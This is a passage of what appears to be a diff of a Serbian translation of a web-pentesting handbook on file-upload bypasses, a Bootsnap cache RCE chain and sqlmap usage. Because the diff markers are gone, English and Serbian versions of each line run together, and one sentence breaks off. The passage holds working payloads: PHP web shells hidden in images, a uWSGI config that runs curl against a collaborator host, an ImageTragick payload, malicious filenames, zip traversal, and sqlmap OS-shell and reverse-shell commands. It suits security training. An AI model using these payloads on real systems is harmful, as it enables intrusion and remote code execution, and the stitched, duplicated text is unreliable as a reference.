Replikovanjem Bootsnap-ovog FNV-1a 64-bitnog heš mehanizma, određuje se tačna putanja keš fajla. Ovaj korak osigurava da je zlonamerni keš fajl postavljen tačno gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File
Napadač priprema payload koji:
- Izvršava arbitrane komande (na primer, pokreće id da prikaže informacije o procesu).
- Uklanja zlonamerni keš nakon izvršenja kako bi sprečio rekurzivnu zloupotrebu.
- Učitava originalni fajl (npr. set.rb) kako bi izbegao rušenje aplikacije.
Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim zaglavljem keš ključa (koristeći prethodno prikupljene metapodatke i ispravnu verziju za Bootsnap).
- Overwrite and Trigger Execution
Koristeći ranjivost arbitrarnog pisanja fajlova, napadač piše kreirani keš fajl na izračunatu lokaciju. Zatim pokreće restart servera (pisanjem u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails zahteva ciljni fajl, zlonamerni keš fajl se učitava, što rezultira daljinskom izvršavanjem koda (RCE).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -17,11 +17,11 @@ Other useful extensions:
### Bypass file extensions checks
1. If they apply, the **check** the **previous extensions.** Also test them using some **uppercase letters**: _pHp, .pHP5, .PhAr ..._
2. _Check **adding a valid extension before** the execution extension (use previous extensions also):_
1. Ako se primenjuju, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije izvršenja (koristite prethodne ekstenzije takođe):_
- _file.png.php_
- _file.png.Php5_
3. Try adding **special characters at the end.** You could use Burp to **bruteforce** all the **ascii** and **Unicode** characters. (_Note that you can also try to use the **previously** motioned **extensions**_)
3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp da **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Other useful extensions:
- _file._
- _file.php...._
- _file.pHp5...._
4. Try to bypass the protections **tricking the extension parser** of the server-side with techniques like **doubling** the **extension** or **adding junk** data (**null** bytes) between extensions. _You can also use the **previous extensions** to prepare a better payload._
4. Pokušajte da zaobiđete zaštite **prevarom parsera ekstenzija** na serverskoj strani koristeći tehnike kao što su **dupliranje** **ekstenzije** ili **dodavanje smešnih** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,75 +40,10 @@ Other useful extensions:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Add **another layer of extensions** to the previous check:
5. Dodajte **još jedan sloj ekstenzija** na prethodnu proveru:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Try to put the **exec extension before the valid extension** and pray so the server is misconfigured. (useful to exploit Apache misconfigurations where anything with extension\*\* _**.php**_**, but** not necessarily ending in .php\*\* will execute code):
- _ex: file.php.png_
7. Using **NTFS alternate data stream (ADS)** in **Windows**. In this case, a colon character “:” will be inserted after a forbidden extension and before a permitted one. As a result, an **empty file with the forbidden extension** will be created on the server (e.g. “file.asax:.jpg”). This file might be edited later using other techniques such as using its short filename. The “**::$data**” pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. “file.asp::$data.”)
8. Try to break the filename limits. The valid extension gets cut off. And the malicious PHP gets left. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **“.”, “..”, or “…” as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called “uploads” in the “/www/” directory.
4. Upload a file that may not be deleted easily such as **“…:.jpg”** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
### Special extension tricks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new \*.xml and \*.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
6. Pokušajte da stavite **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju
```ini
[uwsgi]
; read from a symbol
@ -126,14 +61,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima prilikom otkrivanja promena.
Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), čime se dodatno proširuje opseg potencijalne eksploatacije.
## **wget File Upload/SSRF Trick**
U nekim slučajevima možete primetiti da server koristi **`wget`** za **preuzimanje datoteka** i možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, **ova provera se može zaobići.**\
**Maksimalna** dužina **imena datoteke** u **linux-u** je **255**, međutim, **wget** skraćuje imena datoteka na **236** karaktera. Možete **preuzeti datoteku pod nazivom "A"\*232+".php"+".gif"**, ovo ime datoteke će **zaobići** **proveru** (kao u ovom primeru **".gif"** je **važeća** ekstenzija) ali će `wget` **preimenovati** datoteku u **"A"\*232+".php"**.
**Maksimalna** dužina **imena datoteke** u **linux-u** je **255**, međutim, **wget** skraćuje imena datoteka na **236** karaktera. Možete **preuzeti datoteku pod nazivom "A"\*232+".php"+".gif"**, ovo ime datoteke će **zaobići** **proveru** (jer je u ovom primeru **".gif"** **važeća** ekstenzija) ali će `wget` **preimenovati** datoteku u **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,7 +91,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
```
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da se **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke koje je naznačeno u originalnom URL-u**.
Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da **HTTP server preusmeri na drugu datoteku**, tako da će inicijalni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke naznačenim u originalnom URL-u**.
## Alati
@ -168,14 +103,14 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
- Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
- Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
- Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
- [**XSS** u učitavanju slike (svg) datoteke](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** datoteka **učitavanje** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE u svg učitavanju**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** datoteka **upload** + **XSS** = [**Eksploatacija servisnih radnika**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Otvoreno preusmeravanje** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
- Pokušajte **različite svg payload-e** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
- [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ako možete **naznačiti web serveru da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
- [**XXE i CORS** zaobilaženje sa PDF-Adobe učitavanjem](pdf-upload-xxe-and-cors-bypass.md)
- [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da biste dobili izvršenje JS**](../xss-cross-site-scripting/pdf-injection.md). Ako možete učitati PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
- Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
- Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
@ -206,13 +141,13 @@ https://github.com/portswigger/upload-scanner
Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za druge tipove datoteka.
### Zip/Tar datoteka automatski dekompresovana pri učitavanju
## Zip/Tar datoteka automatski dekompresovana upload
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete učiniti 2 stvari:
Ako možete učitati ZIP koji će biti dekompresovan unutar servera, možete uraditi 2 stvari:
#### Symlink
### Symlink
Učitajte link koji sadrži meke linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:
Učitajte link koji sadrži softverske linkove na druge datoteke, zatim, pristupajući dekompresovanim datotekama, imaćete pristup povezanim datotekama:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -220,7 +155,7 @@ tar -cvf test.tar symindex.txt
```
### Decompress in different folders
Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
Neželjeno kreiranje fajlova u direktorijumima tokom dekompresije je značajan problem. I pored prvobitnih pretpostavki da bi ova postavka mogla da zaštiti od izvršavanja komandi na nivou operativnog sistema putem malicioznih upload-ovanih fajlova, hijerarhijska podrška za kompresiju i mogućnosti prolaska kroz direktorijume ZIP arhiva mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću dekompresije ciljne aplikacije.
Automatizovani exploit za kreiranje takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti kao što je prikazano:
```python
@ -280,7 +215,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (iz [eksploita](https://www.exploit-db.com/exploits/39767))
Otpremite ovaj sadržaj sa ekstenzijom slike kako biste iskoristili ranjivost **(ImageMagick , 7.0.1-1)** (form [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
@ -289,7 +224,7 @@ pop graphic-context
```
## Ugrađivanje PHP Shell-a u PNG
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i uzorkovanje slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Ugrađivanje PHP shell-a u IDAT deo PNG datoteke može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i resampling slika, redom. Sposobnost ugrađenog PHP shell-a da ostane nepromenjen ovim operacijama je značajna prednost za određene slučajeve upotrebe.
Detaljna istraživanja ove tehnike, uključujući njenu metodologiju i potencijalne primene, pružena su u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj resurs nudi sveobuhvatno razumevanje procesa i njegovih implikacija.
@ -299,12 +234,20 @@ Više informacija na: [https://www.idontplaydarts.com/2012/06/encoding-web-shell
Poliglot datoteke služe kao jedinstveni alat u sajber bezbednosti, delujući kao kameleoni koji mogu validno postojati u više formata datoteka istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takve datoteke nisu ograničene na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe moguće.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteka). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
Osnovna korisnost poliglot datoteka leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje skeniraju datoteke na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova datoteka za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar datoteka). Međutim, poliglot, usklađujući se sa strukturnim kriterijumima više tipova datoteka, može neprimetno zaobići ova ograničenja.
I pored svoje prilagodljivosti, poligloti se suočavaju sa ograničenjima. Na primer, dok poliglot može istovremeno predstavljati PHAR datoteku (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politika ekstenzija datoteka platforme. Ako je sistem strog u vezi sa dozvoljenim ekstenzijama, sama strukturna dualnost poliglota možda neće biti dovoljna da garantuje njegov upload.
Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Upload validnih JSON-a kao da je PDF
Kako izbeći detekciju tipa datoteke upload-ovanjem validnog JSON fajla čak i ako nije dozvoljeno, pretvarajući ga u PDF fajl (tehnike iz **[ovog blog posta](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` biblioteka**: Sve dok su `%PDF` magični bajtovi u prvih 1024 bajta, to je validno (uzmi primer iz posta)
- **`pdflib` biblioteka**: Dodaj lažni PDF format unutar polja JSON-a tako da biblioteka misli da je to pdf (uzmi primer iz posta)
- **`file` binarni**: Može pročitati do 1048576 bajta iz datoteke. Samo kreiraj JSON veći od toga tako da ne može da analizira sadržaj kao json, a zatim unutar JSON-a stavi početni deo pravog PDF-a i misliće da je to PDF
## Reference
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
@ -313,5 +256,6 @@ Više informacija na: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -58,7 +58,7 @@ sqlmap -r req.txt --current-user
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### POST Zahtev Injekcija
### POST Request Injection
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
@ -80,13 +80,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
```bash
--string="string_showed_when_TRUE"
```
### Tehnika detekcije
Ako ste pronašli SQLi, ali sqlmap ga nije detektovao, možete prisiliti tehniku detekcije sa argumentima kao što su `--prefix` ili `--suffix`, ili ako je složenije, dodajući je u payload-e koje koristi sqlmap u `/usr/share/sqlmap/data/xml/payloads/time_blind.xml`, na primer za time blind bazirane.
### Eval
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**:
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svakog payload-a pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Šel
### Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -97,11 +101,11 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Pročitaj fajl
### Čitaj fajl
```bash
--file-read=/etc/passwd
```
### Proučavanje veb sajta sa SQLmap-om i automatska eksploatacija
### Crawling a website with SQLmap and auto-exploit
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -114,7 +118,7 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Pročitajte ovaj post** ](second-order-injection-sqlmap.md)**o tome kako izvesti jednostavne i složene druge redne injekcije sa sqlmap.**
[**Pročitajte ovaj post** ](second-order-injection-sqlmap.md)**o tome kako izvršiti jednostavne i složene druge redne injekcije sa sqlmap-om.**
## Prilagođavanje injekcije
@ -133,59 +137,59 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma jednostavno. Možete pronaći primer tampera na [stranici za Drugi Red Injekciju ovde](second-order-injection-sqlmap.md).
Zapamtite da **možete kreirati svoj vlastiti tamper u pythonu** i to je veoma jednostavno. Možete pronaći primer tampera na [stranici za Drugu Rednu Injekciju ovde](second-order-injection-sqlmap.md).
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| Tamper | Opis |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom |
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim UTF-8 punim širinom ekvivalentom |
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim ilegalnim dvostrukim unicode ekvivalentom |
| appendnullbyte.py | Dodaje kodirani NULL bajt na kraj payload-a |
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
| appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a |
| base64encode.py | Base64 kodira sve karaktere u datom payload-u |
| between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Zamenjuje karakter razmaka posle SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
| commalessmid.py | Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)' |
| concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" |
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" |
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE' |
| escapequotes.py | Escape-uje navodnike (' i ") |
| escapequotes.py | Slash escape za navodnike (' i ") |
| greatest.py | Zamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom |
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
| ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom |
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije |
| multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči |
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri |
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri |
| percentage.py | Dodaje znak procenta ('%') ispred svakog karaktera |
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom vrednošću |
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
